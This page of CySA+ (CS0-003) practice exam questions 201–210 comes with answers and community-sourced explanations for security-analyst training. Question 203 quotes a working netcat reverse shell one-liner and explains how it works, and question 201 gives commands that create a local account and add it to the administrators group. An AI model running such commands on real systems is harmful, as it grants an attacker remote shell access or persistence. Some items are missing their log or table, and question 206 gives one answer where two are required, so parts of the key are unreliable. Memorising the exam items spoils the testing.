CS0-003 practice questions 201–210

1. Question 201 · 527 in bank

   The analyst reviews the following endpoint log entry:

   

   Which of the following has occurred?

   • ARegistry change
   • BRename computer
   • CNew account introduced
   • DPrivilege escalation

   Show answer

   Answer: C

   Explanation

   Yes, a user was created. But no, the command does not put them in the admins group. The administrator credential was used to create the user account. Incidentally, the net user command syntax in the example is wrong. I use it constantly IRL. It should be "net user /add". And then add them to the local admins using "net localgroup administrators /add "

   Source: Adapted from community discussion — chrys

   Next question

2. Question 202 · 527 in bank

   A development team is preparing to roll out a beta version of a web application and wants to quickly test for vulnerabilities, including SQL injection, path traversal, and cross-site scripting. Which of the following tools would the security team most likely recommend to perform this test?

   • AHashcat
   • BOpenVAS
   • COWASP ZAP
   • DNmap

   Show answer

   Answer: C

   Explanation

   C. OWASP ZAP OWASP ZAP (Zed Attack Proxy) is a popular open-source web application security scanner designed specifically for testing web applications for vulnerabilities. It's user-friendly and offers a range of features, including: Automated scanning: Quickly identifies common vulnerabilities. Manual testing: Allows for in-depth analysis and custom attacks. Proxy interception: Monitors and manipulates web traffic in real-time. Vulnerability reports: Provides detailed reports on identified issues.

   Source: Adapted from community discussion — ChopSNap

   Next question

3. Question 203 · 527 in bank

   A security analyst detected the following suspicious activity: rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f Which of the following most likely describes the activity?

   • ANetwork pivoting
   • BHost scanning
   • CPrivilege escalation
   • DReverse shell

   Show answer

   Answer: D

   Explanation

   The provided command sequence is indicative of creating a reverse shell. Here's a breakdown of the command: bash rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f rm -f /tmp/f: Removes the file /tmp/f if it exists. mknod /tmp/f p: Creates a named pipe /tmp/f. cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f: Pipes the input from the named pipe to /bin/sh (starting an interactive shell), redirects the shell's input and output through netcat (nc), which then connects to the IP address 10.0.0.1 on port 1234, and sends the shell's output back through the named pipe.

   Source: Adapted from community discussion — ChopSNap

   Next question

4. Question 204 · 527 in bank

   An analyst is designing a message system for a bank. The analyst wants to include a feature that allows the recipient of a message to prove to a third party that the message came from the sender. Which of the following information security goals is the analyst most likely trying to achieve?

   • ANon-repudiation
   • BAuthentication
   • CAuthorization
   • DIntegrity

   Show answer

   Answer: A

   Explanation

   In the context of the CySA exam: "An analyst is designing a message system for a bank. The analyst wants to include a feature that allows the recipient of a message to prove to a third party that the message came from the sender. Which of the following information security goals is the analyst most likely trying to achieve? A. Non-repudiation B. Authentication C. Authorization D. Integrity " The information security goal that the analyst is trying to achieve in this scenario is: A. Non-repudiation Non-repudiation ensures that the sender cannot deny having sent a message, and the recipient can prove to a third party that the message indeed came from the sender. This is typically achieved through digital signatures and cryptographic techniques.

   Source: Adapted from community discussion — ChopSNap

   Next question

5. Question 205 · 527 in bank

   Before adopting a disaster recovery plan, some team members need to gather in a room to review the written scenarios. Which of the following best describes what the team is doing?

   • ASimulation
   • BTabletop exercise
   • CFull test
   • DParallel test

   Show answer

   Answer: B

   Explanation

   The team is conducting a Tabletop Exercise. A tabletop exercise involves a facilitated discussion where participants work through a simulated disaster scenario. It allows teams to practice decision-making, communication, and coordination without the logistical complexities of a full-scale simulation or test.

   Source: Adapted from community discussion — ChopSNap

   Next question

6. Question 206 · 527 in bank

   Which of the following entities should an incident manager work with to ensure correct processes are adhered to when communicating incident reporting to the general public, as a best practice? (Choose two.)

   • ALaw enforcement
   • BGovernance
   • CLegal
   • DManager
   • EPublic relations
   • FHuman resources

   Show answer

   Answer: E

   Next question

7. Question 207 · 527 in bank

   Select 2

   Due to an incident involving company devices, an incident responder needs to take a mobile phone to the lab for further investigation. Which of the following tools should be used to maintain the integrity of the mobile phone while it is transported? (Choose two.)

   • ASignal-shielded bag
   • BTamper-evident seal
   • CThumb drive
   • DCrime scene tape
   • EWrite blocker
   • FDrive duplicator

   Show answer

   Answer: AB

   Explanation

   The two best options for maintaining the integrity of the mobile phone during transportation are: A. Signal-shielded bag and B. Tamper-evident seal Here's why: Signal-shielded bag: This prevents remote wiping or data destruction from being initiated remotely. Tamper-evident seal: This physically indicates if the device has been accessed or tampered with during transport.

   Source: Adapted from community discussion — ChopSNap

   Next question

8. Question 208 · 527 in bank

   During the rollout of a patch to the production environment, it was discovered that required connections to remote systems are no longer possible. Which of the following steps would have most likely revealed this gap?

   • AImplementation
   • BUser acceptance testing
   • CValidation
   • DRollback

   Show answer

   Answer: C

   Explanation

   The most likely step that would have revealed this gap is C. Validation. Validation involves testing the patch to ensure it functions as intended and doesn't introduce new vulnerabilities or problems. This step would have included testing the connectivity to remote systems, which would have identified the issue. Closest other option could be B, but UAT is tailored towards determining if a given solution will meet the need that the application is being brought on board to fulfill.

   Source: Adapted from community discussion — ChopSNap

   Next question

9. Question 209 · 527 in bank

   An organization has tracked several incidents that are listed in the following table:

   

   Which of the following is the organization’s MTTD?

   • A140
   • B150
   • C160
   • D180

   Show answer

   Answer: C

   Explanation

   Add up the detection times: 180 + 150 + 170 + 140 = 640 minutes Divide the total by the number of incidents: 640 minutes / 4 incidents = 160 minutes

   Source: Adapted from community discussion — ChopSNap

   Next question

10. Question 210 · 527 in bank

    A security analyst has found a moderate-risk item in an organization’s point-of-sale application. The organization is currently in a change freeze window and has decided that the risk is not high enough to correct at this time. Which of the following inhibitors to remediation does this scenario illustrate?

    • AService-level agreement
    • BBusiness process interruption
    • CDegrading functionality
    • DProprietary system

    Show answer

    Answer: B

    Explanation

    The inhibitor in this scenario is B. Business process interruption. The organization has opted to delay the remediation due to the current change freeze window, indicating that applying the patch or fix at this time would disrupt ongoing business operations.

    Source: Adapted from community discussion — ChopSNap

    Next question

Keyboard:J Kmove between questionsA–Dselect an answerRshow or hide the answer← →change page

CS0-003 practice, question 201. 527 questions available.